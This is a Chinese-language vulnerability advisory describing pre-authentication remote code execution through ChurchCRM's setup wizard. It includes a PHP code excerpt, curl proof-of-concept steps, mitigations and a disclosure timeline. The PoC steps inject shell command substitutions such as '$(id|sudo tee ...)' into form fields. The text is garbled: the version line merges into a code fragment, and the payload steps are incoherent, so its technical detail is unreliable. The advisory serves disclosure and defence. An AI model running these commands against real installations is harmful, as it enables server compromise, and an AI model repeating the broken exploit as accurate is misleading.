### 关键信息 #### 漏洞概述 - **漏洞类型**: 未认证远程代码执行 (RCE) - **受影响产品**: ChurchCRM 版本 getParsedBody(); // Lines 40-45: Direct string replacement with user input $template = str_replace('[[DB_PASSWORD]]', $SetupData['DB_PASSWORD'], $template); $template = str_replace('[[HTTP_PATH]]', $SetupData['HTTP_PATH'], $template); $template = str_replace('[[URL]]', $SetupData['URL'], $template); // Line 47: Write user-controlled content to executable PHP file file_put_contents($ConfigDir . '/Config.php', $template); ``` #### 概念验证 (PoC) 1. 访问安装向导(无需身份验证): ```bash curl 'http://[target]/setup/' ``` 2. 通过表单参数提交恶意负载: ```bash curl 'http://[target]/setup/' \ -X POST \ -H 'Content-Type: application/x-www-form-urlencoded' \ -d 'DB_SERVER=www-data&DB_USER=root&DB_PASSWORD=evil' ``` 3. 执行任意命令: ```bash curl 'http://[target]/cmd?whoami' curl 'http://[target]/?some-id' \ -F 'response=$(id|sudo tee /home/data) | gids=$(who-data) groups=$(who-data)' ``` #### 确认结果 - 成功注入 payload 并写入 `Config.php` - 远程命令执行通过系统命令确认 - 安装窗口期间获得完整 Web 服务器用户访问 #### 厂商响应分析 - 项目贡献者承认该问题“仅适用于新安装”,且一旦安装完成,指定 URL 将停止工作。但此评估不完全考虑以下因素: - 短暂窗口 ≠ 无风险: 即使短暂的 RCE 也提供了足够的时间进行基础设施妥协 - 无数据泄露风险 ≠ 无影响: 服务器妥协、后门安装和持久访问具有重大影响 - 仅安装期间 ≠ 低严重性: 预认证 RCE 在强制安装阶段影响所有新部署 #### 缓解措施/变通方法 - **立即行动**: 在安装期间限制对设置向导的网络访问 - **推荐厂商修复**: - 对所有设置表单参数实施输入验证和清理 - 使用参数化配置生成代替字符串替换 - 添加 CSRF 保护和基本速率限制到设置端点 - 考虑将敏感配置生成移动到 CLI-only 工具 #### 披露时间线 - 2025-09-24: 通过 GitHub Security Advisory GHSA-m8jq-j3p9-2xf3 报告 - 2025-10-04: 项目贡献者回应,指出问题“仅适用于新安装” - 2025-10-04: 报告者澄清安装窗口期间的基础设施妥协风险 - 2025-10-08: 无进一步厂商响应;发布咨询以协调 CVE #### 参考资料 - [GitHub Security Advisory: GHSA-m8jq-j3p9-2xf3](#) - [ChurchCRM Setup Route: setup/routes/setup.php](#) #### 联系方式 - 报告者: uartu0@gmail.com